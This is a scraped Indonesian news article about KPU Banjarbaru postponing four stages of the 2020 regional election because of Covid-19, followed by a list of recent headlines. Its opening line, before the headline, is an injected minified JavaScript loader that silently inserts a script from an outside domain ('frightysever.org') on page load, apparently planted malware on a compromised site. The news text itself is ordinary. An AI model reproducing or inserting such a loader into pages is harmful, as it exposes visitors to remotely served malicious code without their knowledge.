(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

4 Tahapan Pilkada Banjarbaru Ditunda


KANALKALIMANTAN.COM, BANJARBARU – Dampak pandemi virus corona atau Covid-19 yang merebak di Indonesia, berdampak pada ajang pesta demokrasi Pilkada 2020 di masing-masing daerah. Seperti halnya yang terjadi di Kota Banjarbaru.

Dalam hal ini, Komisi Pemilihan Umum (KPU) Kota Banjarbaru menunda pelaksanaan pengucapan sumpah/janji dan pelantikan seluruh calon anggota Panitia Pemungutan Suara (PPS) terpilih se Kota Banjarbaru.

Keputusan penundaan pelaksanaan pelantikan calon anggota PPS terpilih ini diambil setelah terbitnya Keputusan KPU Republik Indonesia Nomor 179/PL.02-Kpt/01/KPU/III/2020 tentang Penundaan Tahapan Pemilihan Gubenur dan Wakil Gubernur, Bupati dan Wakil Bupati, dan/atau Wali Kota dan Wakil Wali Kota tahun 2020 dalam Upaya Pencegahan Penyebaran Covid-19.

Ketua Divisi Sosialisasi, Pendidikan Pemilih, Partisipasi Masyarakat, dan SDM KPU Kota Banjarbaru, Wahyu NZ mengatakan, pihaknya telah menerima salinan Keputusan KPU tersebut pada Minggu 22 Maret 2020 dini hari.

“Kita mengambil langkah tindak lanjut mengingat pelantikan calon anggota PPS terpilih di kota Banjarbaru dijadwalkan dilaksanakan pada Minggu lalu,” ujar Wahyu.

Keputusan penundaan pelantikan calon anggota PPS tersebut menjadi salah satu kagian dalam Keputusan KPU Kota Banjarbaru tentang penundaan tahapan Pemilihan Wali Kota dan Wakil Wali Kota Banjarbaru tahun 2020 dalam upaya pencegahan penyebaran Covid-19 yang menjadi tindak lanjut atas Keputusan KPU RI.

Ketua KPU Banjarbaru Hegar mengungkapkan, secara umum, ada 4 tahapan Pilkada Banjarbaru 2020 yang ditunda. Yakni pelantikan PPS dan masa kerja PPS, verifikasi syarat dukungan calon perseorangan, pembentukan PPDP, pemutakhiran dan penyusunan daftar pemilih.

“Ya, 4 tahapan ini yang kita tunda. Sedangkan untuk kegiatan kami di kantor, sudah diterapkan work from home (WFH). Kita mengindari kegiatan tatap muka dan meminamlisir kontak fisik dengan sesama pegawai KPU,” katanya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

4 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

5 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

7 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

7 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

19 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

21 jam ago

This website uses cookies.